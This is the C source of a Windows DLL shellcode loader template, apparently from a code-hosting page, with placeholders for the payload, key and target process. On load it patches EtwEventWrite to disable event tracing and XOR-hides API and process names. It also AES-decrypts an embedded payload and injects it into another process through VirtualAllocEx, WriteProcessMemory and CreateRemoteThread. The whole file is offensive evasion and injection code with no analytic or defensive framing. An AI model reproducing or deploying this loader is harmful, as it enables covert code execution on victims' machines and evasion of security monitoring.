| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177 |
- #include <windows.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <tlhelp32.h>
- #include <wincrypt.h>
- #pragma comment (lib, "crypt32.lib")
- #pragma comment (lib, "advapi32")
- #include <psapi.h>
- LPVOID (WINAPI * Virt_Alloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
- char XOR_VARIABLE []= "XOR_KEY";
- unsigned char fRandom6 []=VIRALO};
- unsigned char Random9[]=PROCY};
- int aRandom1(char * eRandom5, unsigned int eRandom5_len, char * key, size_t keylen) {
- HCRYPTPROV hProv;
- HCRYPTHASH hHash;
- HCRYPTKEY hKey;
- if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
- return -1;
- }
- if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
- return -1;
- }
- if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
- return -1;
- }
- if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
- return -1;
- }
-
- if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, eRandom5, &eRandom5_len)){
- return -1;
- }
-
- CryptReleaseContext(hProv, 0);
- CryptDestroyHash(hHash);
- CryptDestroyKey(hKey);
-
- return 0;
- }
- int bRandom2(const char *procname) {
- HANDLE hProcSnap;
- PROCESSENTRY32 pe32;
- int pid = 0;
-
- hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
- if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
-
- pe32.dwSize = sizeof(PROCESSENTRY32);
-
- if (!Process32First(hProcSnap, &pe32)) {
- CloseHandle(hProcSnap);
- return 0;
- }
-
- while (Process32Next(hProcSnap, &pe32)) {
- if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
- pid = pe32.th32ProcessID;
- break;
- }
- }
-
- CloseHandle(hProcSnap);
-
- return pid;
- }
- int cRandom3(HANDLE hProc, unsigned char * eRandom5, unsigned int eRandom5_len) {
- LPVOID pRemoteCode = NULL;
- HANDLE hThread = NULL;
-
- pRemoteCode = VirtualAllocEx(hProc, NULL, eRandom5_len, MEM_COMMIT, PAGE_EXECUTE_READ);
- WriteProcessMemory(hProc, pRemoteCode, (PVOID)eRandom5, (SIZE_T)eRandom5_len, (SIZE_T *)NULL);
-
- hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
- if (hThread != NULL) {
- WaitForSingleObject(hThread, 500);
- CloseHandle(hThread);
- return 0;
- }
- return -1;
- }
- void gRandom7(char * tada, int tada_len, char * XOR_VARIABLE, size_t XOR_VARIABLE_len) {
- int r;
- r = 0;
- for (int i = 0; i < tada_len; i++) {
- if (r == XOR_VARIABLE_len - 1) r = 0;
- tada[i] = tada[i] ^ XOR_VARIABLE[r];
- r++;
- }
- }
- extern __declspec(dllexport) int Go(void);
- int Go(void) {
- void * Random8_mem;
- BOOL rv;
- HANDLE th;
- DWORD oldprotect = 0;
-
- int pid = 0;
- HANDLE hProc = NULL;
- char dRandom4 []=KEYVALUE
- unsigned char eRandom5[] =PAYVAL
-
- unsigned int eRandom5_len = sizeof(eRandom5);
- void * addr = GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite");
- VirtualProtect(addr, 4096, PAGE_EXECUTE_READWRITE, &oldprotect);
- #ifdef _WIN64
- memcpy(addr, "\x48\x33\xc0\xc3", 4);
- #else
- memcpy(addr, "\x33\xc0\xc2\x14\x00", 5);
- #endif
- VirtualProtect(addr, 4096, oldprotect, &oldprotect);
- FreeConsole;
- gRandom7((char *) fRandom6, sizeof (fRandom6), XOR_VARIABLE, sizeof(XOR_VARIABLE));
- Virt_Alloc= GetProcAddress(GetModuleHandle("kernel32.dll"), fRandom6);
-
- Random8_mem = Virt_Alloc(0, eRandom5_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
- aRandom1((char *) eRandom5, eRandom5_len, dRandom4, sizeof(dRandom4));
-
- RtlMoveMemory(Random8_mem, eRandom5, eRandom5_len);
-
- rv = VirtualProtect(Random8_mem, eRandom5_len, PAGE_EXECUTE_READ, &oldprotect);
- gRandom7((char *) Random9, sizeof (Random9), XOR_VARIABLE, sizeof(XOR_VARIABLE));
-
- pid = bRandom2(Random9);
- if (pid) {
- hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
- PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
- FALSE, (DWORD) pid);
- if (hProc != NULL) {
- cRandom3(hProc, eRandom5, eRandom5_len);
- CloseHandle(hProc);
- }
- }
- return 0;
- }
- BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) {
- switch ( fdwReason ) {
- case DLL_PROCESS_ATTACH:
- Go();
- break;
- case DLL_THREAD_ATTACH:
- break;
- case DLL_THREAD_DETACH:
- break;
- case DLL_PROCESS_DETACH:
- break;
- }
- return TRUE;
- }
|